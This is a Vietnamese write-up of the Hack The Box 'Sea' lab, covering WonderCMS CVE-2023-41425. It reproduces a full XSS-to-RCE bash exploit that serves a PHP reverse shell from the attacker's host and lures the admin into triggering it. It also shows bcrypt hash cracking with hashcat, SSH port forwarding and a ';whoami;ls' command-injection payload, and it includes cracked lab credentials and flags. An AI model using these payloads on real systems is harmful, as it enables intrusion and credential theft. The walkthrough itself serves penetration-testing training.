# HTB Labs: Sea (CVE-2023-41425)
## Task I:
* Ta bắt đầu scan IP được cung cấp bằng `Nmap` để thực hiện dò service.

* Mình thấy được cổng `ssh` và `http` thử truy cập ip bằng browser thử

* Ở lab, ta có task 1 như này, ta thấy chỉ có 2 service nên đáp án sẽ là `2`
## Task II:

* Ta sẽ check thử http server của IP

* Ta truy cập được vào 1 web server, để xem được ngôn ngữ server sử dụng, mình sẽ dùng `Wappalyzer` để xem hoặc có thể view source(nêu có thể:v)

* Kết quả là `PHP`
## Task III:

* Đến task này ban đầu mình chưa tìm được cách để detect được `CMS` hầu như các tools khác để detect như `Wappalyzer` cũng k detect được, nên mình thử dùng `Gobuster` để scan xem còn các directory nào của server không, từ đó có thêm được thông tin

* Kết quả ta scan được 1 vài directory giá trị có status 200,301 dựa theo hint là `themes` mình sẽ tiến hành scan `http://sea.htb/themes` thêm lần nữa

* Ta tìm được `http://sea.htb/themes/bike/`, tiếp tục enum ta tìm đuợc file `README.md`

* Vậy là server dùng `CMS` là `WonderCMS`. `WonderCMS` là một hệ quản trị nội dung (CMS) nhỏ gọn, nhẹ (chỉ ~20KB), opensource, không cần database, lý tưởng cho các trang web đơn giản.
* Đặc điểm:
* Dễ sử dụng: Cài đặt chỉ với một file `ZIP`.
* Không cần cơ sở dữ liệu: Lưu dữ liệu trong file `JSON`.
* Tùy chỉnh dễ dàng: Hỗ trợ theme, plugin, chỉnh sửa trực tiếp từ giao diện.
* Bảo mật tốt: Cập nhật tự động và mã nguồn nhỏ gọn giảm thiểu rủi ro.
* Phù hợp với:
* Blog cá nhân.
* Website tĩnh nhỏ gọn.
## Task IV:

* Một lúc research thì ta tìm được đáp án là `CVE-2023-41425`
## Task V:
* Dùng SearchSploit mình tìm được bản khai thác của `CVE-2023-41425`

* `Wondercms 4.3.2 - XSS to RCE` đây là phiên bản server đạng chạy, để xem thử payload khai thác ta dùng lệnh `searchsploit -x 51805.py`
```python
#!/bin/bash
# Author: prodigiousMind (Enhanced by Divine Clown)
# Exploit: WonderCMS 4.3.2 XSS to RCE (Using reverse shell from revshells.com)
# Check if the required arguments (loginURL, IP, Port) are provided
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <loginURL> <IP_Address> <Port>"
echo "Example: $0 http://localhost/wondercms/loginURL 192.168.29.165 5252"
exit 1
fi
LOGIN_URL=$1
IP_ADDRESS=$2
PORT=$3
HOST=$(echo $LOGIN_URL | awk -F/ '{print $3}')
# Function to download reverse shell from revshells.com and create rev.php
download_reverse_shell() {
local revshell_url="https://www.revshells.com/PHP%20PentestMonkey?ip=$IP_ADDRESS&port=$PORT&shell=sh&encoding=sh"
echo "[+] Preparing to download the reverse shell zip file from: http://$IP_ADDRESS:8000/main.zip"
curl -s "$revshell_url" -o rev.php
if [ -f rev.php ]; then
echo "[+] Reverse shell downloaded and saved as rev.php"
else
echo "[-] Failed to download reverse shell."
exit 1
fi
}
# Function to dynamically update rev.php with the provided IP and Port if needed
update_rev_php() {
echo "[+] Updating rev.php with provided IP: $IP_ADDRESS and Port: $PORT"
sed -i "s/\$ip\s*=\s*'.*';/\$ip = '$IP_ADDRESS';/" rev.php
sed -i "s/\$port\s*=\s*.*;/\$port = $PORT;/" rev.php
echo "[+] rev.php updated with the correct IP and Port."
}
# Function to create a ZIP file with the reverse shell
create_zip_file() {
echo "[+] Creating ZIP file with rev.php..."
mkdir -p revshell-main
mv rev.php revshell-main/
zip -r main.zip revshell-main/ > /dev/null 2>&1
if [ -f main.zip ]; then
echo "[+] main.zip created successfully."
else
echo "[-] Failed to create ZIP file."
exit 1
fi
rm -r revshell-main
}
# Create the XSS payload dynamically using the ZIP file
create_xss_js() {
cat <<EOF > xss.js
var url = "$LOGIN_URL";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var token = document.querySelectorAll('[name="token"]')[0].value;
var zipInstallURL = urlWithoutLog + "/?installModule=http://$IP_ADDRESS:8000/main.zip&directoryName=revshell-main&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", zipInstallURL);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
console.log("Payload installed. Triggering reverse shell...");
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLog + "/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
console.log("Reverse shell triggered.");
}
};
}
};
EOF
echo "[+] File created: xss.js"
}
# Function to check and start the HTTP server, keeping the output active
start_http_server() {
PORT=8000
# Check if a Python server is already running and kill it
pid=$(lsof -ti :$PORT)
if [ -n "$pid" ]; then
echo "[+] Port $PORT is in use by PID $pid. Killing the process..."
kill -9 $pid
echo "[+] Process $pid killed. Restarting the HTTP server..."
else
echo "[+] Port $PORT is available."
fi
# Start a new HTTP server and keep it running in the background
echo "[+] Starting a simple HTTP server to serve the XSS payload..."
python3 -m http.server $PORT
}
# Display info with the payload to use in the contact form
display_exploit_info() {
echo "[+] Setting up reverse shell listener:"
echo "Use the following command in your terminal: nc -nvlp $PORT"
echo "[+] Send the following malicious link to the admin:"
XSS_LINK="${LOGIN_URL//loginURL/index.php?page=loginURL?}\"></form><script+src=\"http://$IP_ADDRESS:8000/xss.js\"></script><form+action=\""
echo "$XSS_LINK"
}
# Main logic
download_reverse_shell # Download the reverse shell
update_rev_php # Update rev.php with IP and port
create_zip_file # Create the ZIP file
create_xss_js # Create the XSS JavaScript payload
display_exploit_info # Display the reverse shell info and XSS link
echo "Waiting for the admin to trigger the payload."
start_http_server # Start the HTTP server interactively
```
* Đoạn payload khá dài nên mình sẽ tóm tắt đơn giản và payload này đã được tối ưu cho modules của HTB bởi vì payload ta tìm được ở `Searchsploit` có một vài chi tiết cần sửa lại để tương thích hơn với module.
### Giải thích Payload:
#### 1. Kiểm tra đầu vào
```bash
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <loginURL> <IP_Address> <Port>"
exit 1
```
* Script yêu cầu 3 tham số:
* `loginURL`: URL của trang đăng nhập WonderCMS.
* `IP_Address`: Địa chỉ IP của kẻ tấn công (máy chủ nhận kết nối reverse shell).
* `Port`: Cổng mà kẻ tấn công lắng nghe kết nối.
* Nếu không có đủ tham số, script sẽ hiển thị cách sử dụng và thoát.
#### 2. Globalo Variables:
```bash
LOGIN_URL=$1
IP_ADDRESS=$2
PORT=$3
HOST=$(echo $LOGIN_URL | awk -F/ '{print $3}')
```
* `LOGIN_URL`: URL của trang đăng nhập.
* `IP_ADDRESS`: Địa chỉ IP được chỉ định.
* `PORT`: Cổng để kết nối reverse shell.
* `HOST`: Trích xuất hostname từ URL.
#### 3. Download Rev Shell
```bash
download_reverse_shell() {
local revshell_url="https://www.revshells.com/PHP%20PentestMonkey?ip=$IP_ADDRESS&port=$PORT&shell=sh&encoding=sh"
curl -s "$revshell_url" -o rev.php
}
```
* Reverse shell được tải từ `revshells.com` với định dạng PHP.
* File được lưu với tên `rev.php`.
#### 4. Cập nhật rev.php với IP và cổng
```bash
update_rev_php() {
sed -i "s/\$ip\s*=\s*'.*';/\$ip = '$IP_ADDRESS';/" rev.php
sed -i "s/\$port\s*=\s*.*;/\$port = $PORT;/" rev.php
}
```
* Đảm bảo file rev.php chứa đúng địa chỉ IP và cổng của kẻ tấn công.
#### 5. Tạo file ZIP chứa reverse shell
```bash
create_zip_file() {
mkdir -p revshell-main
mv rev.php revshell-main/
zip -r main.zip revshell-main/
rm -r revshell-main
}
```
* ZIP file chứa `reverse shell (rev.php)` được tạo để chuẩn bị tải lên `WonderCMS`.
#### 6. Tạo payload XSS
```bash
create_xss_js() {
cat <<EOF > xss.js
var url = "$LOGIN_URL";
...
xhr4.open("GET", urlWithoutLog + "/themes/revshell-main/rev.php");
EOF
}
```
* `xss.js` là mã JavaScript độc hại được chèn vào trang web.
* Payload này:
* Lấy token để thực hiện các yêu cầu hợp lệ.
* Tải file ZIP từ HTTP server của kẻ tấn công.
* Kích hoạt `rev.php` để mở reverse shell.
#### 7. Khởi động server HTTP
```bash
start_http_server() {
python3 -m http.server 8000
}
```
* HTTP server được sử dụng để phục vụ các file ZIP và xss.js.
### Hướng khai thác
* Kẻ tấn công gửi liên kết độc hại cho quản trị viên.
* Quản trị viên nhấp vào liên kết, mã XSS được thực thi:
* ZIP file chứa reverse shell được tải lên.
* Reverse shell được kích hoạt, kết nối ngược về máy tấn công.
* Kẻ tấn công nhận shell qua lệnh:
```bash
nc -nvlp <PORT>
```
* OK, như vậy có lẽ ta đã rõ cách hoạt động của payload, giờ mình sẽ run thử và xem kết quả

* Mình sẽ run ở port 9001.

* Giờ ta cần submit form ở `contact.php` mà ta đã tìm thấy ở server truớc đó, để trigger được việc admin click vào link này `http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.126:8000/xss.js"></script><form+action="
`

* Giờ ta gửi form và tiếp tục mở netcat ở port `9001` đã cung cấp để kết nối vào rev shell, giờ chỉ cần đợi một lúc để admin có thể click vào link và payload sẽ được thực thi. Đợi chờ là hạnh phúc :V

* Như ta thấy ở http.server ta thấy được các request gửi đến server của admin, trong đó có các request dùng để downaload file `main.zip` tức là file chứa rev shell của chúng ta

* Hurraaaa!! ở netcat ta đã có thể truy cập vào reverse shell của admin, từ giờ có thể khai thác để lấy được task 5


## Task VI:

* Task này sẽ cần tìm được hash password từ `rev shell` này. Hmm ban đầu mình vần loay hoay vì hầu như các quyền sudo đều bị giới hạn và 1 số lệnh cũng bị giới hạn và cũng không biết folder nào chứa file có `hash password`, sau một lúc tìm hiểu thì mình biết được là `var/www`. `/var/www` là một thư mục thường được sử dụng bởi các máy chủ web như `Apache, Nginx, hoặc Lighttpd`. Đây là nơi mặc định để lưu trữ các tệp và thư mục của các trang web được phục vụ bởi máy chủ web do đó mình move vào thử xem thế nào

* Ta tìm được folder `sea` cd vào trong ta sẽ thấy được các file liên quan đến server

* cd tiếp vào trong mình tìm được file `database.js`

* Khả năng cao file này sẽ lưu các thông tin về user và server và cũng có thể lưu `hash passwd` của admin. mình thử tìm bằng lệnh `cat database.js | grep pass`

## Task VII:

* Ta đã tìm được `hash passwd`, nhưng giờ việc khó hơn là tìm cách `decrypt` passwd này.

* Mình thử `decryot` bằng `Crackstation` thì không thành công, có vẻ như passwd này đã bị thêm `salt` vào. Đại khái `Salt` là một chuỗi ngẫu nhiên được thêm vào trước hoặc sau mật khẩu trước khi `hash`. Dùng salt độc quyền và không theo chuẩn thông thường để làm khó việc xác định loại hash. Giờ có lẽ ta sẽ phân tích bằng tay để xem loại hash nào được sử dụng thì mình biết được đây là `Bcrypt`
* Dấu hiệu nhận dạng:
* Bắt đầu bằng $2y$:
* Đây là tiền tố (prefix) đặc trưng của bcrypt.
* Số 10 sau $2y$:
* Đây là cost factor (yếu tố chi phí), đại diện cho độ phức tạp của hash.
* Giá trị này càng lớn, việc tính toán hash càng chậm, giúp tăng bảo mật.
* Cấu trúc tổng quát của bcrypt
```bash
$<version>$<cost>$<salt + hash>
```
* Phiên bản: `$2y$`
* Cost factor: 10
* Salt và hash: iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q
* Độ dài cố định:
* Bcrypt luôn có độ dài 60 ký tự.
* GIờ để ta có thể có `decrypt` mình sẽ dùng `hashcat` với payload ` hashcat -m 3200 hash.txt tools/SecLists/Passwords/Leaked-Databases/rockyou.txt -O`. Ta sẽ dùng mode `3200` dành cho `Bcrypt` và dùng wordlist là `rockyou` để brute

* Sau một lúc thì đã thành công crack được pass là `mychemicalromance`
## Task VIII:

* Với pass là `mychemicalromance` đã tìm được ta có thể sử dụng để vào quyền `su`. Giờ ta cần tìm thư mục chứa file flag của user. Truy cập vào `/home` ta tìm được 2 user có tên lần lượt lầ `amay` và `geo`.

* Mình thử move vào `geo` thì ta không thể truy cập khi move vào `amay` thì ta có một file tên là `user.txt`, có lẽ đây là file chứa flag, ta sẽ `su amay` để mở quyền user cao nhất và nhập pass vào, và giờ ta có thể sử dụng được lệnh cat để xem file `user.txt`

> 047a88c92fd85759bb63fcc2ee998fa9
## Task IX:

* Task này ta có thể xem bằng lệnh `ss -tl`

* Ta có thể thấy, server đang listening một vài port cụ thể, để biết rõ là port nào mính sẽ sử dụng `netstat -tuln | grep 127.0.0.1`

* Ta thấy được 2 port cụ thẻ đang listen và port 8080 chính là port của `web server`
## Task X:
* Ta sẽ map port 8080 từ server sang localhost của mình để khai thác, vì do 8080 chỉ mở ở localhost của admin nên ta phải dùng `ssh -L 8888:localhost:8080 amay@sea.htb`. Payload nầy sẽ chuyển tiếp port `8080` từ localhost admin sang port `8888` của máy ta. Giờ ta có thể truy cập vào port bằng trình duyệt

* Ta sẽ nhập user là `amay` và pass là `mychemicalromance`

* Đây là một `System Monitor" cps các tùy trọng dành cho admin để có thể quản lý các log file, hoặc các file config,.... Dựa theo gợi ý của Task mình sẽ dùng `Burpsuite` để bắt request và phân tích `param`

* Có thể thấy khi ấn `Analyze` thì request sẽ được gửi đi với đối số là `log_file`
## Task XI:

* Với task này, ta sẽ thực hiện khai thác để lấy được khả năng thực thi lệnh từ hệ thông và thực thi `whoami`. Khi nghĩ đến như này mình nghĩ đến khả năng là `command injection` hoặc các lỗi liên quan đến thực thi lệnh của hệ thống
* Như chúng ta có thể thấy, nó cung cấp các tùy chọn để phân tích các tệp `access.log` và `auth.log`. Ví dụ: nếu ta chọn phân tích `access.log`, server sẽ trả về nhật ký cho quá trình quét `FFUF` trước đó của ta trong phần trước, ghi lại các hành động của ta. Xem xét request thì phần `param` sẽ là `/var/log/apache2/acces.log`

* Hệ thống yêu cầu quyền root để truy cập các file log trong thư mục ``/var/log/apache2`. Điều này dẫn đến rò rỉ thông tin không được xác thực, vì người dùng có thể khai thác chức năng này để lấy thông tin nhạy cảm.
* Khi thử nghiệm bằng cách gán giá trị log_file=/root/root.txt, hệ thống phát hiện được file này, chứng tỏ nó đang chạy với quyền root.

* Nếu tham số không được kiểm tra kỹ, nó có thể dẫn đến lỗ hổng Command Injection. Giờ ta sẽ thử khai thác bằng cách khai thác `cmd injection` thông thường bằng cách thêm `;` vào với payload `;whoami;ls`

## Task XII:
* GIờ ta đã có thể thực hiện `cmd injection` bước đơn giản để lấy flag là cat nó với payload `cat root/root.txt; ls`
